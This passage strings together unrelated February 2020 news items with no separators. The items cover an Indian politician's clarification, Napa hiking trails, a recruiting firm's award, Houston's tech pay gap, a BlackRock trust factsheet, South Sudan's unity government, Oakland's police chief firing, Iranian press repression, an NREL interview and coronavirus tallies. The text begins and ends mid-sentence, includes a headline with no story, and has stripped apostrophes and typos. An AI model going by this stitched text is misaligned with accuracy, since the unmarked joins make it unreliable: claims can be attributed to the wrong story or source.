he was "totally quoted out of context" by the media on his Kalburgi (Gulbarga) meeting, where even Owaisi and other senior leaders were present. "I hereby wish to reiterate that I can never say anything intentionally or unintentionally that hurts the sentiments of any caste, community or gender. I am a proud Indian and respect the plurality of this country," said Pathan. He added that like many other Indians who have faith in the Constitution, he was angry by the sheer neglect of the government in addressing the issues concerning the CAA-NRC-NPR against which people have been protesting all over the country in a demokcratic manner. "Neither me, nor my party supports anything that creates a divide between people on the basis of caste, creed and religion. Jai Hind," said Pathan. Former Minister of Internal Affairs Vano Merabishvili Left the Prison Today - GeorgianJournal For more stories like this, check out The Chronicles weekly Travel newsletter! Sign up here. Apart from tasting world-class wines, people go to Napa Valley to get away from it all. But if your timing isnt the best, you could run into a lot of folks who are all thinking the same thing as they drive in on Highway 29 or the Silverado Trail, or into Calistoga. Quickly, a weekend getaway can feel cramped. That can be fixed with one easy turn. From Highway 29, turn into Bothe-Napa Valley State Park. In seconds, you will have launched into a new orbit. Bothe-Napa (pronounced Both-Ay) is like a 2,000-acre decompression chamber. As you drive in, the landscape transforms from valley-oak woodlands to trailheads that lead to surprise redwood forests. From the parks interior, trails are then routed through these redwoods and along gorgeous Ritchey Creek, and for the inspired, beyond to Coyote Peak. Easy hikes include one to Ritchey Creek, and another one south for a mile to Bale Grist Mill, a historic 36-foot wood waterwheel. A more challenging venture is the 4.5-mile Coyote Peak-Redwood Loop. Its possible to do all of them in a half day. In addition, for those staying overnight, an option is to drive up Highway 29 to a trailhead for the ambitious trek to the top of 4,343-foot Mount St. Helena. To help out-of-towners, Bothe-Napa also has a series of excellent campground loops that include 10 yurts and spaces for RVs or tents. The best hikes Ritchey Creek: The best easy hike with a stellar payoff is to Ritchey Creek. The trailhead is located near the picnic area just past the Ritchey Creek Campground. Its an easy half mile into Ritchey Canyon, where you walk along this pretty stream (on the left) and riparian zone. The trail is routed under a woodland canopy that feeds into a forest of redwoods and Douglas fir. Many venture just out and back, 1 mile total, though you can continue onward, where you cross the stream and venture beyond to Upper Ritchey Creek Canyon. Redwood-Coyote Peak Loop: As you drive in from the park entrance, continue straight (past the turnoff on the right for Ritchey Creek) and continue a short distance over Ritchey Creek to the trailhead on the right for the Redwood Trail. This can be your calling. The Redwood Trail is routed along Ritchey Creek (on your right) and into redwoods and you climb gently to a junction with the Coyote Peak Trail on the left. That rises quickly to the top at 1,170 feet, about a 500-foot climb, with a spur to the summit. You can then turn this into a loop, return on the South Fork Trail and descend down Ritchey Creek. About 4.5 miles. Bale Grist Mill: This is an easy, pretty walk with a payoff. As you drive into Bothe-Napa, pass the turnoff for Ritchey Creek on the right, the summer pool on the left and continue to the trailhead near the group campground. Take the Hardy Trail south, an easy walk through oak/bay woodlands, for 1.1 mile to the designated Mill Pond Site and Bale Grist Mill. This is a giant, historic wood waterwheel that was used to grind wheat into grain. 2.2-mile round trip. Mount St. Helena: For the ambitious few, spend the night and then get up early and drive 12 miles north on Highway 29 to the trailhead on the left. Its a 2,068-foot climb to the summit of Mount St. Helena at 4,343 feet. You get epic views of the burn zones returning to life directly below to the south, across the Napa Valley, and far beyond with the outlines of Mount Tamalpais and Mount Diablo on the horizon. Tom Stienstra is The San Francisco Chronicles outdoors writer. Email: tstienstra@sfchronicle.com Twitter: @StienstraTom DEERFIELD BEACH, Fla., Feb. 21, 2020 /PRNewswire/ -- All Star Recruiting was honored yesterday at the South Florida Business Journal's 2020 Best Places to Work Awards Luncheon at the Signature Grand in Davie, Florida. The company, which is one of the fastest-growing healthcare staffing firms in the United States, is both humbled and thrilled to announce it ranked fourth in the large company category. "As a Best Place to Work, All Star attracts genuine, dedicated people whose ideals and commitment to doing the right thing align with our core values and goals," said Keith Shattuck, the company's CEO. "Our people care about positively impacting others and delivering our signature 'red carpet' service to our providers, patients, clients, community, and each other. This amazing distinction is a testament to them because they make All Star the best place to be." All Star Recruiting is recurrently celebrated for its exceptional workplace environment and caring, high-performance culture. As with the other organizations feted at the Best Places to Work Awards Luncheon, the company was chosen as a finalist based on the results of a confidential online survey administered to employees by Quantum Workplace. The top 45 firms, based on employees' feedback, were divided into one of three categories: small company (10 to 49 employees), medium company (50 to 99 employees), and large company (100 employees or more). About All Star Recruiting All Star Recruiting is one of the fastest-growing healthcare staffing companies in the country. Founded in 2003 and based in Deerfield Beach, Florida, the company places physicians and advanced practitioners on locum tenens (i.e., temporary) assignments and in permanent positions at hospitals, health systems, medical practices, clinics, and other healthcare facilities throughout the United States, delivering exceptional care to patients who might otherwise go without it. The five points of All Star embody its core values and serve as the backbone of the company's "red carpet" service. Its people connect quality providers to patients, supporting their clients and the community. About the South Florida Business Journal The South Florida Business Journal is the leading business news outlet covering Broward, Miami-Dade, and Palm Beach counties. SOURCE All Star Recruiting Related Links http://www.allstarrecruiting.com When financial technology company SmartAsset released its annual Top 15 Cities for Women in Tech rankings for 2020, Houston was the biggest large city on the list, which was dominated by smaller locales. Houston came in at No. 8 this year, dropping a few notches from No. 4 in 2019s rankings. In fact, Houston has made the cut in five of the six years SmartAsset has compiled the list. But whats more surprising is one of the metrics used to determine the rankings. Women working in the tech industry in Houston earn 99 percent of what their male counterparts are paid, according to SmartAsset, which used data from the U.S. Census Bureau. A.J. Smith, SmartAssets vice president of financial education, said Houstons number was a good one, pointing to the national average that saw women in tech earn 83 percent of their male counterparts salaries. The data behind the pay gap comes from the Census Bureaus five-year American Community Survey for 2018, she said. HELLO ALICE: Tech entrepreneurs go ask Alice for help Nationally, tech gap between what men and women in tech earned has expanded. In 2015, women earned nearly 87 percent of what men did. Houstons is the second-best pay gap on the list, behind Long Beach, Calif., where women on average earn 2 percent more than male tech workers. Over time, Houstons pay gap has narrowed, even as the national number has gotten worse. In 2015, the first year of the best-cities-for-women rankings, Houston was No. 4 overall and had a pay gap of nearly 6 percent, with women earning 94.1 percent of what men did. Houston was missing from the list in 2016, but reappeared at No. 15 at 87.7 percent. In 2017, it was No. 11 overall at 94 percent. For 2018, Houston leaped to No. 4 and hit the 1 percent pay gap mark. Houston Chronicle staff Given the tech pay gap nationally, and the fact that Houston is still seeking recognition as a city known for tech and innovation, the narrow gap may seem suspect. But female founders and tech executives in Houston say it makes sense, given the unique nature of the technology sector here. Its not surprising to me when I think about the business landscape of Houston, said Carolyn Rodz, the founder of Alice, an online community of about 100,000 small business owners from around the world. TECH ECOSYSTEM: Women take the lead in building tech in Houston Rodz said that the industries that are among the cornerstones of Houstons economy energy, medicine, aerospace are known as progressive ones. And a lot of these are very large corporations, and they have been pressured the most to address these pay gaps, she said. Houston is such a corporate city, and so that may have a lot to do with it. Houstons diversity also plays a part, Rodz said. Diversity ingrains certain values in the city, she said. My theory would be that having a more diverse ecosystem supports the argument for more awareness of inequity. Her own company has 19 full-time employees, the majority of whom are women. Rodz said she strives to make sure people with the same titles and duties have equal pay, and will adjust salaries in a given category if needed. TOMLINSON: Women turn up the heat on those who impose barriers The technology industry, particularly in Silicon Valley, she said, has come under fire for pay inequity, so the 83 percent discount paid to women in tech nationally is not surprising. Kathleen Perley, who founded a digital advertising firm called Decode Digital, said she was surprised to hear that Houstons tech pay gap is so small, adding she would have thought it would be more than that. I started my own company because of that pay discrepancy, Perley said. Its still happening in the tech industry in general. If there is little pay inequity in Houston tech, Perley suspects competition for tech workers here may have something to do with it. Its so good when you get good talent in Houston, because its getting harder to find that talent. People are paying top dollar, she said. Pure tech companies in Houston compete for talent with the big industries, particularly oil and gas, Perley added. Making matters worse is that tech talent is often poached by companies in Austin and San Francisco, she said. Katie Mehnert, who has worked for big energy companies, is the owner of Pink Petro, a social media platform designed to tell the stories of women and minorities in oil and gas. She agreed with Rodz that the energy business is a big reason why Houstons pay gap is small. Release Notes: Get Dwight Silvermans weekly tech newsletter in your inbox each Monday Its not just white-collar jobs that are well-paying in oil and gas, Mehnert said. Work in the petrochemical plants, and in field-operations roles, also pay well. Mehnert said the oil and gas business is undergoing a transformation as it relies more on sophisticated technology ranging from mining big data to artificial intelligence to the use of drones and robotics. That has made it hungry for tech workers, even if their background isnt necessarily in energy. PinkPetro has nine employees, most of them women, and Mehnert doesnt have a formal system for ensuring pay equity. There are benchmarks, pay scales, Im constantly looking at the data and government reports around income levels, she said. Steve Werner, a professor of management and chair of the Management and Leadership Department at the University of Houstons Bauer College of Business, said Houston has become more cosmopolitan, and that has helped close the pay gap between men and women in tech. In Houston, you have a smaller pool of tech talent, and if you discriminate, you further reduce that pool of talent, said Werner, whose academic focus is on compensation. From a rational sense, you would never discriminate. Of course, thats not always the case. Alices Rodz said she still runs into surprising attitudes, and had one disheartening experience when her company was talking to investors about a new round of funding. One of the people we were talking to said in a meeting, As a mother, how can you be leading a company? she recalled. Rodz said she stopped the interview and gave feedback in the moment to the investor. We did not take money from them, she said. dwight.silverman@chron.com twitter.com/dsilverman houstonchronicle.com/techburger BLACKROCK SMALLER COMPANIES TRUST PLC (LEI: 549300MS535KC2WH4082) All information is at 31 January 2020 and unaudited. Performance at month end is calculated on a capital only basis One month % Three months % One year % Three years % Five years % Net asset value* 2.0 17.0 26.2 44.8 89.7 Share price* 0.4 17.5 32.7 71.5 108.7 Numis ex Inv Companies + AIM Index -2.2 8.9 10.4 11.1 30.9 *performance calculations based on a capital only NAV with debt at par, without income reinvested. Share price performance calculations exclude income reinvestment. Sources: BlackRock and Datastream At month end Net asset value Capital only (debt at par value): 1,719.12p Net asset value Capital only (debt at fair value): 1,704.52p Net asset value incl. Income (debt at par value)1: 1,742.43p Net asset value incl. Income (debt at fair value)1: 1,727.83p Share price 1,718.00p Discount to Cum Income NAV (debt at par value): 1.4% Discount to Cum Income NAV (debt at fair value): 0.6% Net yield2: 1.9% Gross assets3: 920.4m Gearing range as a % of net assets: 0-15% Net gearing including income (debt at par): 5.7% 2019 Ongoing charges ratio4: 0.7% Ordinary shares in issue5: 48,829,792 includes net revenue of 23.32p. Yield calculations are based on dividends announced in the last 12 months as at the date of release of this announcement, and comprise of the final dividend of 19.20 pence per share, (announced on 03 May 2019, ex-dividend on 16 May 2019) and the interim dividend of 12.8 pence per share (announced on 5 November 2019, ex-dividend on 14 November 2019). includes current year revenue. As reported in the Annual Financial Report for the year ended 28 February 2019 the Ongoing Charges Ratio (OCR) was 0.7%. The OCR is calculated as a percentage of net assets and using operating expenses, excluding performance fees, finance costs and taxation. excludes 1,163,731 shares held in treasury. Sector Weightings % of portfolio Industrials 33.0 Financials 21.6 Consumer Services 18.0 Consumer Goods 9.6 Health Care 5.7 Technology 5.1 Basic Materials 3.9 Oil & Gas 2.4 Telecommunications 0.7 ----- Total 100.0 ===== Ten Largest Equity Investments Company % of portfolio IntegraFin 2.5 4imprint Group 2.3 YouGov 2.2 Avon Rubber 2.0 Johnson Service Group 1.8 Watches of Switzerland 1.8 Breedon 1.6 IG Design Group 1.6 Team 17 1.6 Impax Asset Management 1.5 Commenting on the markets, Roland Arnold, representing the Investment Manager noted: During January the Company's NAV per share rose by 2.0% to 1,719.12p on a capital only basis, whilst our benchmark index, Numis ex Inv Companies + AIM Index, fell by 2.2%1; the FTSE 100 Index fell by 3.4%1 (all calculations are on a capital only basis). Equity markets had a challenging January, despite a strong start at the beginning of the month. Signs of progress in de-escalating global trade disputes were soon overshadowed by rising Gulf tensions after President Trump ordered a U.S. airstrike that killed Maj. Gen. Qasem Soleimani. Meanwhile the fast-spreading coronavirus hit markets globally over concerns that the disease would impact China's economic growth. The final day of January marked the UK's last day as a member of the EU, however, there continue to be many hurdles to overcome as the UK now seeks to renegotiate trading relationships. Despite the volatile market backdrop, the portfolio benefitted from a number of positive trading updates from several of our holdings. Shares in Team17 rallied after the video game developer provided a positive trading update, with upgrades to profit guidance. This is the fifth upgrade to forecasts in the last 12 months. The company has continued to perform well, with multiplayer games seeing particularly strong sales. Meanwhile the future looks promising, with a number of new titles scheduled to be launched in the forthcoming year, further adding to the group's growing portfolio. Avon Rubber was a beneficiary of increasing global tensions, along with the wider defence sector, and the company also reported a positive start to the year. IntegraFin reported its best ever first quarter (to 31 December) of inflows during the month, with data from Fundscape showing Transact as having the highest net inflows of all advisor platforms. The portfolio also benefitted from positive trading updates from asset manager, Liontrust, which continues to see strong inflows, and Games Workshop, which reported strong results with upgrades. The largest detractor was clothing brand Joules, which fell after the company warned that profits would fall significantly below expectations after a challenging Christmas trading period. Despite reporting surging revenues and profits for 2019, shares in Equals Group also fell heavily in response to downgrades to forward guidance due to challenging market conditions ahead, as a result of record low currency volatilities. Elsewhere, Dalata Hotel Group and Premier Miton also detracted from performance during the month. Following a period of political uncertainty in the UK and aversion from UK equities, hopes are rising that investors will no longer shun the UK market. As a result of the increased stability in Government, the political risk premium is certainly eroding and we would expect this to clear the way for fundamentals to be the key driver to returns. In the mid-to-long-term, progress around the UK's trade negotiations could result in increased business confidence and subsequently a return/uptick in corporate spending, which should be positive for corporate profitability. However, it is important to remember that the UK's future trading relationships with the EU and the rest of the world remains uncertain. Meanwhile, there are many other factors that have the potential to fuel market volatility, most notably, the ongoing US/China trade negotiations or, more recently, the outbreak of the fast-spreading coronavirus. At this time we do not see any cause to change portfolio positioning materially, however, we continue to monitor any developments and analyse potential impacts on the companies within our portfolio. We remain focused on bottom-up company fundamentals, with a bias towards high-quality market leading global businesses, which are operating in attractive end markets and which are run by strong management teams. The recent results season has been positive for many of our holdings and this provides us with confidence in the performance of the businesses that we own and the portfolio's positioning as we move into 2020. 1Source: BlackRock as at 31 January 2020 21 February 2020 ENDS Latest information is available by typing www.blackrock.co.uk/brsc on the internet, "BLRKINDEX" on Reuters, "BLRK" on Bloomberg or "8800" on Topic 3 (ICV terminal). Neither the contents of the Manager's website nor the contents of any website accessible from hyperlinks on the Manager's website (or any other website) is incorporated into, or forms part of, this announcement. South Sudan President Salva Kiir on Friday appointed rebel leader Riek Machar as vice president, after the two men finally agreed to form a long-delayed unity government -- a crucial step towards ending six years of war. A presidential decree included "the appointment of the vice presidents and the dissolution of all institutions at national and state levels," Information Minister Michael Makuei told AFP. The decree was read on state television, the South Sudan Broadcasting Corporation, appointing Machar as the first of five vice-presidents in a bloated cabinet to accommodate various warring parties. But consensus has only been reached on three of the four others, including current first vice president Taban Deng Gai -- a former Machar ally who defected. James Wani Igga from Kiir's ruling party, and Rebecca Nyandeng, a former minister and Kiir ally-turned-critic are the other named vice-presidents as part of the long-awaited unity government.. The swearing-in ceremony will take place on Saturday, Makuei said. Kiir had initially said his longtime rival would be sworn-in on Friday, after they had reached the unity deal "The vice presidents will take oath tomorrow and thereafter we will continue to process the appointments of the cabinet and appointment of the governors of the 10 states and three chief administrators of the three administrative areas," Makuei told AFP. - Saturday deadline - Saturday is the third deadline for the formation of the unity government which was agreed upon in a September 2018 peace deal, but pushed back as crucial issues remained unresolved. Key among these were the delineation of state boundaries, formation of a unified national army and security arrangements for Machar, who has been living in exile since 2016. A last-minute deal on the number of states was achieved, although little progress has been made on the other issues. The leaders have come under increased pressure in recent weeks both from regional heads of state and main donor, the United States, to form the government. A compromise by Kiir to cut to 10 the number of states, which he increased unilaterally to 32 after independence, was seen as key in moving towards the creation of the government. However the opposition remains reticent about an additional three "administrative areas" pushed through by Kiir. Machar spokesman Manawa Peter Gatkuoth said the two men would "continue to solve the problem" after the government is formed. - 'Major step forward' - "This is a major step forward, if indeed they form the government as they say," Alan Boswell, a South Sudan expert with the International Crisis Group (ICG) told AFP. "Kiir's compromise on the states issue paved the way for the two sides to finally move forward, even if the parties have much more to work through in the coming weeks, months, and years." Machar was sacked as vice-president in 2013 and later accused of plotting a coup against Kiir, kickstarting a civil war characterised by violence, rape and UN warnings of ethnic cleansing. A 2015 peace deal brought Machar back as vice-president and he returned to Juba with heavy security. When that deal fell apart in July 2016, the capital was plunged into a brutal battle between their rival armies and Machar was forced to flee on foot. The ensuing war drew in new parts of the country and other local grievances and disputes came to the fore. Several heads of state are expected to attend Saturday's inauguration, although no names have been confirmed. Hands together: South Sudan President Salva Kiir, left, and rebel leader Riek Machar in Juba on December 17 last year South Sudan In a stunning show of power, the Oakland Police Commission a group of civilians voted unanimously Thursday night to fire Oakland Police Chief Anne Kirkpatrick without cause, an action that caught many city leaders by surprise. The firing required approval from Mayor Libby Schaaf, who hired the chief three years ago. Moments after the commissions vote, Schaaf phoned Kirkpatrick to inform her that she was out of the job. The decision followed a long-simmering tension between the chief and the commission, which was created by a voter-approved ballot initiative in 2016 that aimed to rebuild trust between officers and their community. The commission voted during a closed-session meeting and afterward it announced the action. The police commission is the communitys voice, Schaaf said in a news conference immediately following the commissions announcement. The voters of Oakland in 2016 created the most powerful and independent police commission in the country. Tonight they exercised that power. Assistant Chief Darren Allison will serve as acting chief until an interim chief is selected. Schaaf said she will conduct a nationwide search for a new chief. The mayor said it was her duty to determine when the trust between the commission and the chief has become irrevocably lost and prevents Oakland from moving forward. Theres been little love lost between Kirkpatrick and commissioners over the past several months. This year the civilian oversight body ruled to fire five police officers involved in a controversial 2018 shooting after Kirkpatrick and internal investigators mostly exonerated them. On Oct. 10, a police commission meeting devolved into a battle of insults and cross-talk between Kirkpatrick and two commissioners over the departments steps to hire women of color. Oakland Police Commissioner Ginale Harris called an Oakland police staffers presentation on the topic disgraceful, prompting Kirkpatrick to step in and demand an apology. She will not get one from me, Harris responded. And neither will you. The tension between Harris and Kirkpatrick boiled over again late last year, after Harris became the subject of an investigation following a dustup between the commissioner and employees at her sons school in San Francisco. Harris accused the police of targeting her for a bogus investigation as retaliation for vocal criticisms of the department. Commission Chair Regina Jackson said the next chief must address use-of-force issues and end the need for a court-mandated federal monitor. The monitor was appointed after the Riders scandal in 2003, when a group of rogue officers were accused of beating and framing Oakland citizens of crimes. The Commission demands a leader who will diversify and grow the Department to the level of respect that our officers and community deserve, Jackson said in a statement. The Department must be a model of constitutional policing and justice, and the Commission is committed to working with the Mayor to find the right next leader. Schaaf declined to comment on the chiefs response upon being informed she was fired. Kirkpatrick did not respond to The Chronicles request for comment. Kirkpatrick will receive one year of her salary as severance. When she was hired in 2017, Kirkpatricks total compensation was $299,675, including salary and benefits. In Oakland, the mayor, city administrator and police commission have the authority to fire the police chief. The commission can remove the chief if it has cause with five votes, according to the city charter. Without cause, however, the commission needs the approval of the mayor. With some limitations, the commissioners also have the authority to discipline officers and help craft policies within the department. Barry Donelan, the president of the Oakland Police Officers Association, expressed disappointment in Thursdays decision. He said Kirkpatrick was well-respected in the department, but fighting for Oaklands residents and Police Officers alike does not endear you to Oaklands unelected police commissioners and our mayor. These events dont bode well for public safety in Oakland, Donelan said in a statement. Councilman Dan Kalb, who has been outspoken about the need to fill vacancies at the department, said the decision to fire Kirkpatrick surprised him. He echoed Jacksons calls for the next chief to bring the city under compliance with federal oversight requirements, as well as rebuild trust among the broad and diverse range of residents. Only one member of the public addressed the commission after the vote. Rashidah Grinage, a member of the Coalition for Police Accountability and longtime critic of Kirkpatrick, thanked the commission for its decision. Almost a year ago, the coalition and many other allies... did a press conference right outside of City Hall, calling for the chief to be terminated, she said. Its taken a year, but we know about the arc of justice. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. Grinage is a longtime activist whose husband and son were killed by police in a 1993 shooting that left an officer dead. Police commissions often do not have the authority to fire a police chief, said David Harris, a professor of law at the University of Pittsburgh. In most cities or counties, the chief serves at the pleasure of the mayor or county executives, he said. That person hires and fires. California Police Chiefs Association President Ronald Lawrence said this level of civilian influence over police is rare, as only a handful of law-enforcement agencies have a commission at all. This would be the first time Ive ever heard of that, Lawrence said when asked whether he was aware of another instance when a civilian body ousted the leader of a police department. Oakland has one of the strongest models of any police oversight authority boards in the country, said Tom Nolan, an associate professor of sociology at Emmanuel College in Boston. Nolan was a Boston police officer for 27 years. There is no other commission that exists in the United States that Im aware of that has the authority to unilaterally terminate a police chief, he said. Oakland is kind of standalone here. I think with good reason given the history. Kirkpatrick was appointed by Schaaf in January 2017 amid allegations that a group of officers had sexual relations with the teenage daughter of an Oakland dispatcher. Other officers were accused of helping cover up their misconduct. Kirkpatrick came into the job after the Police Department cycled through three police chiefs in just nine days in June 2016. During that time, allegations came to light that Oakland officers had exchanged racist text messages and emails. Megan Cassidy and Sarah Ravani are San Francisco Chronicle staff writers Email: megan.cassidy@sfchronicle.com, sravani@sfchronicle.com, Twitter: @meganrcassidy @SarRavani Share this: Twitter Facebook WhatsApp LinkedIn Email Telegram Elections are always problematic for journalists in Iran, as the government attempts to threaten the press into silence. The parliamentary elections on February 21 are no exception. The space for press freedom has become more repressive as Iran faces the biggest challenge to its rule in its 41-year history following massive protests over economic hardships, the threat of war with the U.S. over the killing of prominent Iranian general Qasem Soleimani in January, and strategic miscalculations in the shooting down of a Ukrainian passenger plane the same month. CPJ has previously documented how Iranone of the most censored countries in the worldworks to silence or obstruct journalists through arrests, intimidation, revoking press credentials, temporary detentions, internet shutdowns, and applying pressure on relatives. In the lead up to the election this pressure increased, with authorities raiding journalists homes or using accusations of false news and national security to silence would-be critics. In other cases, courts imposed heavy prison sentences then released journalists on bail, leaving them technically free but often scared into silence. This month, Irans Revolutionary Guard Corps intelligence wing raided the homes of at least five journalists and Tehrans Media Court convicted three editors of spreading false news and defamation. The timing of this and other media-related court cases and crackdowns suggests Iran was mounting pressure on journalists to try to control criticism ahead of the elections. In a February 10 statement, Tehrans Freelance Journalist Union noted that ahead of the election, security forces harassed several journalists including Pejman Mousavi, editor-in-chief of the cultural magazine Morvarid (Pearl), Amir Babaei, a freelance reporter, and Mehdi Mahmoudian, a freelancer and political activist. It added that on February 3, Khosrow Sadeghi Borojeni, a freelance columnist and sociologist, was sentenced to eight years in prison. CPJs review of their cases found that authorities accused at least four of the journalists of crimes including propaganda, false news and acting against national security. Authorities have also targeted the families of journalists in recent weeks. Revolutionary Guard members not only raided the home of Ehsan Bodaghi, a parliamentary reporter of the official Iran Newspaper, on February 6, they also searched the homes of his parents and in-laws. A person familiar with the case and who, like nearly all those with whom CPJ spoke, asked not to be named for fear of retaliation, said, Ten IRGC agents raided Ehsans home at 8 a.m. and ransacked the entire house for five hours, while his wife and his young child were cornered by the agents. Eventually, they confiscated his and his wifes cellphones and laptops and his press credential. The person, who lives in Tehran, told CPJ, When his wife resisted giving them her laptop password, she was told that although she is not a journalist, there is an open case against her as well and she will have to soon appear before the court. A journalist from the semi-official Iranian Labour News Agency (ILNA), whose former colleague and friend Yasaman Khaleghian also had her home raided, told CPJ that while not many journalists are in custody, an imminent threat of legal action means they are far from free. Our colleagues have to go through long hours of extreme interrogations every day of the week, being threatened with their lives, their loved ones and their private life, but on paper they are free and are not sitting in jail, the news agency journalist said. This is good for the governments record internationally, isnt it? A journalist at a Tehran-based reformist newspaper said that the repressive climate for the press makes covering the elections hard and that some journalists chose not to cover the elections to avoid retaliation. Our newspaper is in its worst shape ever. Even worse than in the 2009 election. The situation is very frustrating. Only five reporters are left in the newsroom and a couple of editors. It is obvious that the editor-in-chief has been ordered not to create any content about the election, the journalist said. People dont buy newspapers anymore. They lost their confidence in all government-run media. They dont blame us. People are smart enough to know we cant work in a closed, suffocating environment. Then government threatens foreign-based Iranian journalists and calls them mercenaries, the Tehran-based journalist added. The journalist referred to a recent tweet by Hesameddin Ashena, an adviser to President Hassan Rouhani. In the tweet, Ashna warned that a low turnout would cause new problems for the country and its citizens, including increased budgets for foreign-based media outlets that the regime considers antagonistic. While the regime is doing all it can to eliminate journalism domestically, the reality is that the foreign-based media that officials consistently denounce are quickly becoming the sole source of credible news in Iran. Independent journalism is slowly dying in Iran. The regime has gotten rid of the brave editors, some have merged into the system to receive government incentives. There is no independent media, said a Tehran-based journalist who works for an economic newspaper. Now expressing themselves on social media is the only platform for defenseless journalists and that comes with a very high cost. Q&A with Eliza Hotchkiss: Refining Resilience in Energy Systems Feb. 21, 2020 Eliza Hotchkiss is a new group manager for the National Renewable Energy Laboratorys (NRELs) Energy Security and Resilience (ESR) Center. Hotchkiss joined NREL in 2009 and was recently appointed to develop and manage the centers new Resilient Systems Design and Engineering Group. Her work focuses on developing resilience strategies for community, state, and federal agencies and organizations in response to threats, hazards, and vulnerabilities. Eliza Hotchkiss (right), NREL Group Manager for Energy Security and Resilience, works to increase deployment of sustainable clean energy technologies and best practices for resilient infrastructure systems. Photo by Dennis Schroeder, NREL. We sat down with Hotchkiss to find out more about resilience and the opportunities and challenges she is excited to work on. The following has been edited for length. Talk a little bit about your background and how you came to NREL. Before NREL, I worked for a consulting firm in England, where I supported the U.K. government with implementing European Union energy policy. I did a lot of carbon footprinting, greenhouse gas accounting, and energy-efficiency analyses. Eventually, it felt like it was time to move back to the United States. In a lot of the research I was doing, NREL kept popping up, so I applied and was hired in 2009. It was exciting to move back to the Mountain West. (Hotchkiss grew up in Wyoming.) I have been at NREL for more than 10 years in a lot of different roles, but I have been working in resilience for the past 8 years. As a new group manager for ESR, I am excited about this new challenge and where this position could take the center as a whole. Tell us about your research focus in resilience and clean energy. I have been involved in disaster recovery work, which has been the genesis of NRELs resilience work. In 2012, after Hurricane Sandy, the Federal Emergency Management Agency asked the Department of Energy to send NREL staff to support hurricane relief efforts, so some colleagues and I applied for what was originally a short-term detail. We were based in New York and New Jersey and spent 6 months supporting recovery efforts on the ground. We identified opportunities to rebuild sustainably using clean energy and energy-efficient strategies. We also developed disaster recovery partnerships with state, regional, and federal agencies to develop resilience plans before and after emergency situations. In 2014, the White House Council on Environmental Quality asked NREL to lead a 2-year pilot project for the State of Colorado to help design their resilience roadmap. Our team worked with communities throughout the Front Range to develop resilience plans, tools, and long-term energy solutions. We documented the lessons learned during stakeholder engagement and created NRELs Resilience Roadmap, which is intended to be a replicable process for communities, states, and federal agencies to mitigate hazards and risks. What projects are you excited about? One exciting project is the Resilience Assessment and Data Explorer (RADE) tool. RADE allows users to enter a zip code to auto-populate local natural hazards and their probability of occurring. We are asked for this type of analysis and data on a regular basis, and RADE could become a really important assessment tool for stakeholders to use to inform their resilience plans. RADE uses data from the National Oceanic and Atmospheric Administration to generate a hazard assessment. The tool is still being refined, yet it can assess the probability of many kinds of natural and human threats, like cyber or physical attacks. The outcome is a risk score for users to assess their vulnerabilities. The next phase in development would include a solutions or risk mitigation module, overlaying renewable energy maps for distributed energy resource solutions. Our geospatial data sciences team at NREL has been stellar to work with during the development of the RADE tool. I am committed to supporting and continuing to lead the Federal Emergency Management Programs (FEMP) resilience program. That takes a lot of my time, and we have a $1.4 million agreement with FEMP for this fiscal year with a lot of different projects. One project in the FEMP portfolio is developing the Technical Resilience Navigator (TRN) in partnership with the Pacific Northwest National Laboratory. The TRN is a tool for energy and water system resilience planning, specifically for critical loads. It provides guidance for organizations to sustain critical missions during a disruptive event. Looking forward, what are the biggest challenges you anticipate when it comes to resilience research? Im really excited about growing our resilience work and communicating our capabilities externally. Im working on a couple exciting resilience projects right now at some airports and with the U.S. Forest Service. What I really enjoy about those projects is being a creative problem solver, like an investigative journalist. Its important to ask the right questions to find appropriate solutions. I try not to identify just one solution that is narrowly focused; its important to think about every consequence in the wake of a disasterand a variety of solutions for every challengeto be holistic in resilience planning. Solutions need to be communicated in a way that makes sense to the stakeholders so that solutions can be implemented, which means continuous stakeholder engagement is an essential component of these projects. What are your interests outside of NREL? Playing guitar and ukulele, skiing, hiking, canoeingall the outdoor things that everyone in Colorado does. With a 7-month-old son, its hard to find time for many activities. Our stroller has skis, so we have been doing some cross-country skiing. We also have a puppy who isnt yet a year old, so theres a lot of new energy at our house, and we try to get outside as much as possible. Learn more about energy security and resilience at NREL. Iran on Friday reported two more deaths and confirmed 13 new cases of coronavirus, bringing the total number of deaths to four and infections to 18. "Thirteen new cases have been confirmed," said Iran's Health ministry spokesman Kianoush Jahanpour on Twitter. "Unfortunately two of them have lost their lives," he further tweeted. The World Health Organisation (WHO) today briefed on the total number of deaths to coronavirus and said, "As of 6 am GVA time this morning, China has reported a total of 75,567 cases of coronavirus to WHO, including 2,239 deaths. In the past 24 hours, it has reported 892 new confirmed cases and 118 deaths." WHO further said, "Outside China, there are now 1152 cases in 26 countries and 8 deaths." Here are the nation-wise details of the cases registered due to coronavirus, and the death toll: CHINA- 75,000 (INCLUDING 2236 DEATHS) DIAMOND PRINCESS CRUISE- 634 (INCLUDING 2 DEATHS) SOUTH KOREA- 106 (INCLUDING 1 DEATH) JAPAN- 94 (INCLUDING 1 DEATH) SINGAPORE- 85 HONG KONG- 67 (INCLUDING 2 DEATHS) THAILAND- 35 TAIWAN- 24 (INCLUDING 1 DEATH) MALAYSIA- 22 GERMANY- 16 VIETNAM- 16 AUS- 15 USA- 15 FRANCE- 12 (INCLUDING 1 DEATH) MACAO- 10 UK- 9 UAE- 9 CANADA- 8 IRAN- 5 (INCLUDING 2 DEATHS) PHILIPPINES- 3 (INCLUDING 1 DEATH) ITALY-3 SWEDEN-1 South Korea remained the worst-infected country outside China as it confirmed 52 more cases of novel coronavirus taking the total figure to 156. The Korean Centres for Disease Control and Prevention has said that 39 of the new cases registered in South Korea were linked to the Shincheonji Church of Jesus in the southern city of Daegu and more than 80 members of Shincheonji have now been infected, starting with a 61-year-old woman who developed a fever on February 10 but attended at least four church services before being diagnosed, said a PTI report. Israel also confirmed a coronavirus case of Friday as a woman who was a passenger on a coronavirus-hit cruise ship was tested positive upon return to her home country. Israel's health ministry said she was one of 11 Israeli passengers who were brought back to Israel after being aboard the cruise liner Diamond Princess carrying 3,700 people which was quarantined off Yokohama since arriving on February 3. Amid the list of the countries reporting coronavirus cases, Lebanon also confirmed its first case on Friday, informed the health ministry and said that two other suspected cases were being investigated. The virus was found in a 45-year-old Lebanese woman who had travelled from Qom in Iran, he said, adding that she was in good health. Pedestrians walk past a Wells Fargo & Co. bank branch in New York, U.S., on Thursday, Oct. 6, 2016. Wells Fargo is nearing settlements with the Securities and Exchange Commission and the Justice Department over its extensive customer abuse in its banking and 